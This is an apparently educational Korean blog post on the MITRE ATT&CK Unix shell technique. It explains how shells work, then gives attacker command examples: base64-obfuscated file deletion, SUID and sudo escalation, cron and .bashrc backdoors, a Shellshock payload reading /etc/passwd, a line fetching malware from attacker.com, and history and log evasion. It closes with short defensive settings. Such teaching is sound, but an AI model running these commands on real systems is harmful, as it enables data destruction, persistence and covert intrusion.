Unix Shell 공격: APT41이 리눅스를 장악하는 방법 | T1059.004
APT41이 bash 한 줄로 리눅스를 장악한다. Shellshock부터 리버스 셸까지, 10개 APT가 사용하는 Unix Shell 공격 12가지 우회 기법.
Unix Shell을 악용한 공격 기법(T1059.004)은 MITRE ATT&CK 프레임워크에서 10개 APT 그룹이 사용하는 가장 보편적인 실행 기법 중 하나이다. Linux, macOS, ESXi 시스템에서 기본 제공되는 sh, bash, zsh 등의 shell을 통해 공격을 수행한다. 2014년 Shellshock 취약점으로 전 세계 수백만 대의 서버가 공격받은 역사적 사례가 있다.
이 기법이 없던 시절, 공격자들은 각 시스템마다 별도의 실행 파일을 컴파일하거나 복잡한 바이너리 조작을 통해야 했다. 하지만 Unix Shell이 표준화되면서 단일 스크립트로 다양한 Unix 계열 시스템을 동시에 공격할 수 있게 되었고. 이는 현재 APT 그룹들이 가장 선호하는 공격 경로가 되었다.
| 리소스 | URL |
|---|---|
| MITRE ATT&CK T1059.004 | https://attack.mitre.org/techniques/T1059/004/ |
| Atomic Red Team 테스트 | https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.004/T1059.004.md |
| Bash 공식 매뉴얼 | https://www.gnu.org/software/bash/manual/ |
1970년대 초기 컴퓨터 시스템에서는 사용자가 시스템과 상호작용하려면 복잡한 시스템 콜을 직접 호출하거나 기계어 수준의 명령을 입력해야 했다. 각 프로그램마다 고유한 인터페이스가 있어 일관성이 없었고, 반복적인 작업을 자동화하기 어려웠다.
The shell is a command language interpreter that executes commands read from the standard input or from a file. — POSIX.1-2017, Shell Command Language
위 POSIX 정의에 따르면, Shell은 표준 입력이나 파일에서 읽은 명령을 실행하는 명령 언어 해석기이다. 1977년 Stephen Bourne이 Bourne Shell(/bin/sh)을 개발했다. 1989년 Brian Fox가 Bash(Bourne-Again SHell) 가 GNU 프로젝트의 일환으로 등장했다.
Unix Shell의 핵심 설계 철학은 이식성(Portability) 과 자동화(Automation) 이다. 한 번 작성한 스크립트가 모든 Unix 계열 시스템에서 동작하도록 하여, 시스템 관리자와 개발자의 작업을 단순화하는 것이 목표였다.
Unix Shell은 사용자와 운영체제 커널 사이의 인터페이스 역할을 하는 명령어 해석기이다. 사용자가 입력한 명령어를 해석하여 시스템 콜로 변환하고, 프로그램 실행 결과를 사용자에게 전달한다.
| Shell | 설명 |
|---|---|
| sh | 개발 연도: 1977 / 특징: POSIX 표준, 최소 기능 / 기본 설치 OS: 모든 Unix / 스크립트 확장자: .sh |
| bash | 개발 연도: 1989 / 특징: 가장 널리 사용, 풍부한 기능 / 기본 설치 OS: Linux, macOS / 스크립트 확장자: .sh, .bash |
| zsh | 개발 연도: 1990 / 특징: 고급 자동완성, 테마 지원 / 기본 설치 OS: macOS (기본) / 스크립트 확장자: .zsh |
| dash | 개발 연도: 1997 / 특징: 경량, 빠른 실행속도 / 기본 설치 OS: Debian/Ubuntu / 스크립트 확장자: .sh |
| fish | 개발 연도: 2005 / 특징: 사용자 친화적 문법 / 기본 설치 OS: 별도 설치 / 스크립트 확장자: .fish |
| 용어 | 역할 | 예시 |
|---|---|---|
| Shell | 명령어 해석기 | bash, zsh, sh |
| Terminal | 입출력 인터페이스 | gnome-terminal, iTerm2 |
| Console | 물리적 입출력 장치 | 키보드 + 모니터 |
2.1 입력 처리 (Input Processing)
Shell은 사용자 입력을 받으면 먼저 렉시컬 분석(Lexical Analysis) 을 수행한다:
# 입력 예시
ls -la /etc | grep "passwd" > output.txt
# 토큰화 결과
Token[0]: "ls"
Token[1]: "-la"
Token[2]: "/etc"
Token[3]: "|" # 파이프 연산자
Token[4]: "grep"
Token[5]: "passwd"
Token[6]: ">" # 리다이렉션 연산자
Token[7]: "output.txt"
2.2 변수 및 명령 치환 (Variable Expansion)
# 변수 확장 예시
USER="admin"
echo "Hello $USER" # Hello admin 출력
# 명령 치환 예시
CURRENT_DATE=$(date +%Y-%m-%d)
echo "Today is $CURRENT_DATE" # Today is 2024-01-15 출력
# 프로세스 치환 예시
diff <(ls dir1) <(ls dir2) # 두 디렉터리 비교
2.3 프로세스 생성 및 실행
Shell은 명령어 실행을 위해 fork-exec 모델을 사용한다:
// Shell 내부 프로세스 생성 과정 (의사코드)
pid_t pid = fork(); // 현재 프로세스 복제
if (pid == 0) {
// 자식 프로세스: 새 프로그램 실행
execvp("ls", argv); // ls 프로그램으로 교체
} else {
// 부모 프로세스(Shell): 자식 종료 대기
wait(&status); // 자식 프로세스 완료까지 대기
}
3.1 스크립트 파일 처리
#!/bin/bash
# Shebang: 실행할 인터프리터 지정
# 변수 선언
TARGET_DIR="/var/log"
BACKUP_DIR="/backup"
# 조건문
if [ -d "$TARGET_DIR" ]; then
echo "디렉터리 존재: $TARGET_DIR"
# 반복문
for file in $TARGET_DIR/*.log; do
# 파일 복사 (시스템 명령어 실행)
cp "$file" "$BACKUP_DIR/"
done
else
echo "디렉터리 없음: $TARGET_DIR"
exit 1
fi
3.2 대화형 vs 비대화형 Shell
# 대화형 Shell 확인
if [[ $- == *i* ]]; then
echo "대화형 모드"
# PS1 프롬프트 설정
PS1="\u@\h:\w$ "
else
echo "스크립트 모드"
# 배치 처리 최적화
set +x # 디버그 모드 비활성화
fi
4.1 Shell 시작 과정
4.2 중요 환경 변수
# Shell 동작에 영향을 주는 주요 변수들
echo $SHELL # 현재 Shell 경로: /bin/bash
echo $PATH # 실행 파일 검색 경로
echo $HOME # 사용자 홈 디렉터리
echo $USER # 현재 사용자명
echo $PWD # 현재 작업 디렉터리
echo $OLDPWD # 이전 작업 디렉터리
# Shell 옵션 확인
echo $- # 현재 설정된 옵션들 (himBH 등)
공격자 입장에서 Unix Shell은 "이미 설치된 정당한 도구" 이다. 별도의 악성코드 업로드 없이도 시스템의 모든 기능에 접근할 수 있어, EDR이나 안티바이러스의 탐지를 우회하기 쉽다. 또한 Living off the Land 기법의 핵심 도구로, 시스템 관리자의 정상적인 활동과 구분하기 어렵다.
1.1 Base64 인코딩 우회
# 원본 명령어
rm -rf /important/files
# Base64 인코딩으로 숨기기
echo "cm0gLXJmIC9pbXBvcnRhbnQvZmlsZXM=" | base64 -d | bash
# 환경 변수 활용
CMD=$(echo "cm0gLXJmIC9pbXBvcnRhbnQvZmlsZXM=" | base64 -d)
$CMD
1.2 문자열 분할 및 연결
# 키워드 탐지 우회를 위한 문자열 분할
PART1="rm -r"
PART2="f /etc/"
PART3="passwd"
$PART1$PART2$PART3
# 변수명 난독화
_='rm -rf'
__=' /tmp/*'
$_$__
2.1 SUID 바이너리 악용
# SUID 설정된 실행 파일 찾기
find / -perm -4000 -type f 2>/dev/null
# /bin/bash에 SUID가 설정된 경우
/bin/bash -p # 권한 유지 모드로 실행
whoami # root 권한 획득 확인
2.2 sudo 설정 악용
# 현재 사용자의 sudo 권한 확인
sudo -l
# 특정 명령어에만 sudo 권한이 있는 경우 우회
# 예: user ALL=(ALL) NOPASSWD: /bin/vi
sudo /bin/vi /etc/passwd
# vi 에디터 내에서 :!/bin/bash 실행하여 root shell 획득
3.1 Cron 작업 등록
# 사용자 crontab에 백도어 등록
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.hidden_script.sh") | crontab -
# 시스템 전체 cron에 등록
echo "*/10 * * * * root /usr/bin/backdoor" >> /etc/crontab
3.2 Shell 초기화 파일 조작
# 사용자 로그인 시마다 실행되는 백도어
echo "/tmp/backdoor.sh &" >> ~/.bashrc
echo "/tmp/backdoor.sh &" >> ~/.bash_profile
# 시스템 전체 사용자에게 적용
echo "/tmp/backdoor.sh &" >> /etc/bash.bashrc
4.1 취약점 원리
Shellshock는 Bash가 환경 변수에 저장된 함수 정의를 처리할 때 발생하는 취약점이다:
# 취약한 환경 변수 설정
env 'x=() { :;}; echo vulnerable' bash -c "echo test"
# 결과: "vulnerable"이 출력되면 취약
# 함수 정의 후 추가 명령어가 실행됨
4.2 실제 공격 코드
# CGI 스크립트를 통한 원격 코드 실행
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://vulnerable-server/cgi-bin/test.cgi
# DHCP 클라이언트를 통한 공격
# 악의적인 DHCP 서버가 다음과 같은 응답 전송:
# DHCP Option: () { :; }; /usr/bin/wget http://attacker.com/malware
4.3 공격 영향 범위
공개 후 몇 시간 내에 수백만 건의 공격이 발생했으며, 주요 공격 벡터는:
5.1 히스토리 조작
# 명령어 히스토리 비활성화
unset HISTFILE
export HISTSIZE=0
# 특정 명령어만 히스토리에서 제거
history -d $(history | tail -1 | awk '{print $1}')
# 공백으로 시작하는 명령어는 히스토리에 저장 안됨
rm -rf /var/log/auth.log # 앞에 공백 있음
5.2 로그 우회
# 표준 에러를 /dev/null로 리다이렉션
malicious_command 2>/dev/null
# 백그라운드 실행으로 터미널 세션과 분리
nohup /tmp/backdoor.sh > /dev/null 2>&1 &
# 프로세스 이름 변경으로 위장
exec -a "kworker/0:1" /tmp/malware
# Bash 보안 옵션 활성화
set -euo pipefail # 에러 시 즉시 종료, 정의되지 않은 변수 사용 금지
# 제한된 Shell 사용
rbash # 제한된 bash 실행
# 명령어 실행 제한
readonly PATH="/usr/bin:/bin" # PATH 변경 금지
2.1 AppArmor/SELinux 설정
# AppArmor 프로필로 Shell 제한
/bin/bash {
/bin/** ix,
/usr/bin/** ix,
/tmp/** r,
deny /etc/passwd w,
deny /etc/shadow rw,
}
2.2 로그 모니터링
# auditd를 통한 Shell 명령어 감시
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/bash
auditctl -a always,exit -F arch=b64 -S execve -F path=/bin/sh
T1059.004 Unix Shell 공격 기법은 시스템에 기본 설치된 정당한 도구를 악용하여 탐지를 우회하면서도 강력한 공격을 수행할 수 있는 기법이다.
Shell의 강력함과 유연성이 바로 보안 위험의 원천이 되며. 이를 방어하기 위해서는 시스템 수준의 접근 제어와 지속적인 모니터링이 중요하다. 특히 T1059 스크립트 기반 공격의 다른 변형들과 연계하여 종합적인 방어 전략을 수립해야 한다.
다음에는 Shell 명령어 실행 후 시스템 내에서 권한을 상승시키는 기법들과 T1562 방어 무력화 기법들을 살펴보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.